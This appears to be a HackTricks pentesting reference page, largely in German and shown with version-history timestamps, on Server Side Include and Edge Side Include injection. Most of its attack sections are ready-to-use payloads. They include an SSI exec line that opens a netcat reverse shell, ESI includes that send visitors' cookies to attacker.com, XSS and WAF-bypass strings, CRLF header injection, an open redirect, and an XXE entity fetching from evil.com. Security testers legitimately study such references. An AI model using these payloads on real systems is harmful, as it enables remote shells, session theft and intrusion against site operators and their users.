hacktricks/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md

240 lines
12 KiB
Markdown
Raw Normal View History

2022-10-03 13:43:01 +00:00
# Server Side Inclusion/Edge Side Inclusion Injection
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2023-12-31 02:25:17 +01:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Server Side Inclusion Grundinformationen
2021-06-07 09:30:58 +00:00
2024-02-10 15:36:32 +00:00
**(Einführung aus [Apache-Dokumentation](https://httpd.apache.org/docs/current/howto/ssi.html))**
2024-02-05 03:28:59 +01:00
SSI (Server Side Includes) sind Direktiven, die **in HTML-Seiten platziert und auf dem Server ausgewertet** werden, während die Seiten bereitgestellt werden. Sie ermöglichen es Ihnen, **dynamisch generierte Inhalte** zu einer bestehenden HTML-Seite hinzuzufügen, ohne die gesamte Seite über ein CGI-Programm oder eine andere dynamische Technologie bereitstellen zu müssen.\
Zum Beispiel könnten Sie eine Direktive in eine bestehende HTML-Seite einfügen, wie:
2021-06-07 09:30:58 +00:00
`<!--#echo var="DATE_LOCAL" -->`
2024-02-10 15:36:32 +00:00
Und wenn die Seite bereitgestellt wird, wird dieses Fragment ausgewertet und durch seinen Wert ersetzt:
2021-06-07 09:30:58 +00:00
2024-02-10 15:36:32 +00:00
`Dienstag, 15-Jan-2013 19:28:54 EST`
2021-06-07 09:30:58 +00:00
Die Entscheidung, wann SSI verwendet werden soll und wann die gesamte Seite von einem Programm generiert werden soll, hängt normalerweise davon ab, wie viel der Seite statisch ist und wie viel jedes Mal neu berechnet werden muss, wenn die Seite bereitgestellt wird. SSI ist eine großartige Möglichkeit, kleine Informationsstücke hinzuzufügen, wie die aktuelle Zeit - oben gezeigt. Aber wenn der Großteil Ihrer Seite zum Zeitpunkt der Bereitstellung generiert wird, müssen Sie nach einer anderen Lösung suchen.
2021-06-07 09:30:58 +00:00
Sie können das Vorhandensein von SSI ableiten, wenn die Webanwendung Dateien mit den Erweiterungen **`.shtml`, `.shtm` oder `.stm`** verwendet, aber das ist nicht der einzige Fall.
2021-06-07 09:30:58 +00:00
2024-02-10 15:36:32 +00:00
Ein typischer SSI-Ausdruck hat das folgende Format:
```
2021-06-07 09:30:58 +00:00
<!--#directive param="value" -->
```
### Überprüfen
2022-10-03 13:43:01 +00:00
```javascript
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
2021-06-07 09:30:58 +00:00
```
2022-10-03 13:43:01 +00:00
## Edge Side Inclusion
2021-06-07 09:30:58 +00:00
Es gibt ein Problem mit **Caching-Informationen oder dynamischen Anwendungen**, da der Inhalt möglicherweise beim nächsten Abrufen des Inhalts **variieren** kann. Dafür wird **ESI** verwendet, um mit ESI-Tags den **dynamischen Inhalt anzugeben, der generiert werden muss**, bevor die Cache-Version gesendet wird.\
Wenn ein **Angreifer** in der Lage ist, **ein ESI-Tag** in den Cache-Inhalt einzufügen, könnte er in der Lage sein, **willkürlichen Inhalt** in das Dokument einzufügen, bevor es an die Benutzer gesendet wird.
2021-06-07 09:30:58 +00:00
### ESI Detection
2021-06-07 09:30:58 +00:00
Die folgende **Header** in einer Antwort vom Server bedeutet, dass der Server ESI verwendet:
```
2021-06-07 09:30:58 +00:00
Surrogate-Control: content="ESI/1.0"
```
Wenn Sie diesen Header nicht finden können, **könnte der Server trotzdem ESI verwenden**.\
Ein **blinder Exploitationsansatz kann ebenfalls verwendet werden**, da eine Anfrage beim Server des Angreifers ankommen sollte:
2022-10-03 13:43:01 +00:00
```javascript
// Basic detection
2024-02-10 15:36:32 +00:00
hell<!--esi-->o
2023-01-04 14:57:03 +00:00
// If previous is reflected as "hello", it's vulnerable
// Blind detection
<esi:include src=http://attacker.com>
2022-10-03 13:43:01 +00:00
// XSS Exploitation Example
2023-01-04 14:57:03 +00:00
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
2022-10-03 13:43:01 +00:00
// Cookie Stealer (bypass httpOnly flag)
2023-01-04 14:57:03 +00:00
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
2022-10-03 13:43:01 +00:00
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
2021-06-07 09:30:58 +00:00
```
2024-02-10 15:36:32 +00:00
### ESI-Ausnutzung
2021-06-07 09:30:58 +00:00
[GoSecure erstellt](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) eine Tabelle, um mögliche Angriffe zu verstehen, die wir gegen verschiedene ESI-fähige Software ausprobieren können, abhängig von der unterstützten Funktionalität:
2022-10-03 13:43:01 +00:00
* **Includes**: Unterstützt die `<esi:includes>`-Direktive
* **Vars**: Unterstützt die `<esi:vars>`-Direktive. Nützlich zum Umgehen von XSS-Filtern
* **Cookie**: Dokumentencookies sind für die ESI-Engine zugänglich
* **Upstream-Header erforderlich**: Surrogatanwendungen verarbeiten ESI-Anweisungen nicht, es sei denn, die upstream-Anwendung stellt die Header bereit
* **Host-Whitelist**: In diesem Fall sind ESI-Includes nur von erlaubten Serverhosts möglich, was SSRF beispielsweise nur gegen diese Hosts möglich macht
2021-06-07 09:30:58 +00:00
2024-02-10 15:36:32 +00:00
| **Software** | **Includes** | **Vars** | **Cookies** | **Upstream-Header erforderlich** | **Host-Whitelist** |
| :--------------------------: | :----------: | :------: | :---------: | :-----------------------------: | :----------------: |
| Squid3 | Ja | Ja | Ja | Ja | Nein |
| Varnish Cache | Ja | Nein | Nein | Ja | Ja |
| Fastly | Ja | Nein | Nein | Nein | Ja |
| Akamai ESI Testserver (ETS) | Ja | Ja | Ja | Nein | Nein |
| NodeJS esi | Ja | Ja | Ja | Nein | Nein |
| NodeJS nodesi | Ja | Nein | Nein | Nein | Optional |
2022-10-03 13:43:01 +00:00
#### XSS
2021-06-07 09:30:58 +00:00
Die folgende ESI-Direktive lädt eine beliebige Datei in die Antwort des Servers
2024-02-06 04:10:38 +01:00
```xml
2021-06-07 09:30:58 +00:00
<esi:include src=http://attacker.com/xss.html>
```
#### Umgehung des Client-XSS-Schutzes
2024-02-06 04:10:38 +01:00
```xml
2021-06-07 09:30:58 +00:00
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
2023-01-04 14:57:03 +00:00
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
2021-06-07 09:30:58 +00:00
```
#### Steal Cookie
2021-06-07 09:30:58 +00:00
* Fernzugriff auf Cookies stehlen
2024-02-06 04:10:38 +01:00
```xml
2021-06-07 09:30:58 +00:00
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
* Stehlen Sie das Cookie HTTP\_ONLY mit XSS, indem Sie es in der Antwort reflektieren:
2023-01-04 14:57:03 +00:00
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
2024-02-06 04:10:38 +01:00
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
2023-01-04 14:57:03 +00:00
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
2024-02-06 04:10:38 +01:00
# It's possible to put more complex JS code to steal cookies or perform actions
```
#### Private Local File
2023-01-04 14:57:03 +00:00
Verwechseln Sie dies nicht mit einer "Local File Inclusion":
2021-06-07 09:30:58 +00:00
```markup
<esi:include src="secret.txt">
```
2022-10-03 13:43:01 +00:00
#### CRLF
2021-06-07 09:30:58 +00:00
```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### Open Redirect
2021-06-07 09:30:58 +00:00
Das Folgende wird einen `Location`-Header zur Antwort hinzufügen
2023-01-04 14:57:03 +00:00
```bash
<!--esi $add_header('Location','http://attacker.com') -->
```
2024-02-10 15:36:32 +00:00
#### Header hinzufügen
2023-01-04 14:57:03 +00:00
* Header in erzwungenem Request hinzufügen
2024-02-06 04:10:38 +01:00
```xml
2022-10-15 14:18:24 +00:00
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
* Fügen Sie einen Header in die Antwort ein (nützlich, um "Content-Type: text/json" in einer Antwort mit XSS zu umgehen)
2023-01-04 14:57:03 +00:00
```bash
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
2024-02-06 04:10:38 +01:00
# Check the number of url_decode to know how many times you can URL encode the value
2023-01-04 14:57:03 +00:00
```
#### CRLF im Add-Header (**CVE-2019-2438**)
2024-02-06 04:10:38 +01:00
```xml
2022-10-15 14:18:24 +00:00
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
```
#### Akamai-Debug
2022-10-15 14:18:24 +00:00
2024-02-10 15:36:32 +00:00
Dies sendet Debug-Informationen, die in der Antwort enthalten sind:
2024-02-06 04:10:38 +01:00
```xml
2021-06-07 09:30:58 +00:00
<esi:debug/>
```
2022-10-03 13:43:01 +00:00
### ESI + XSLT = XXE
2021-06-07 09:30:58 +00:00
Durch die Angabe des Wertes `xslt` für den _dca_-Parameter ist es möglich, **`eXtensible Stylesheet Language Transformations (XSLT)`** basierte ESI einzuschließen. Die Einbeziehung bewirkt, dass der HTTP-Surrogate die XML- und XSLT-Dateien abruft, wobei letztere erstere filtert. Solche XML-Dateien sind für _XML External Entity (XXE)_ Angriffe ausnutzbar, die es Angreifern ermöglichen, SSRF-Angriffe auszuführen. Die Nützlichkeit dieses Ansatzes ist jedoch begrenzt, da ESI bereits als SSRF-Vektor dient. Aufgrund der fehlenden Unterstützung in der zugrunde liegenden Xalan-Bibliothek werden externe DTDs nicht verarbeitet, was die Extraktion lokaler Dateien verhindert.
2024-02-06 04:10:38 +01:00
```xml
2021-06-07 09:30:58 +00:00
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
2024-02-10 15:36:32 +00:00
XSLT-Datei:
2024-02-06 04:10:38 +01:00
```xml
2021-06-07 09:30:58 +00:00
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
Check the XSLT-Seite:
2021-06-07 11:31:39 +00:00
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
{% endcontent-ref %}
2021-06-07 11:31:39 +00:00
2024-02-10 15:36:32 +00:00
### Referenzen
2021-06-07 09:30:58 +00:00
* [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
* [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
2022-10-03 13:43:01 +00:00
* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
2023-01-04 14:57:03 +00:00
* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
2021-06-07 09:30:58 +00:00
2024-02-10 15:36:32 +00:00
## Brute-Force-Erkennungsliste
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Unterstütze HackTricks</summary>
2023-12-31 02:25:17 +01:00
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}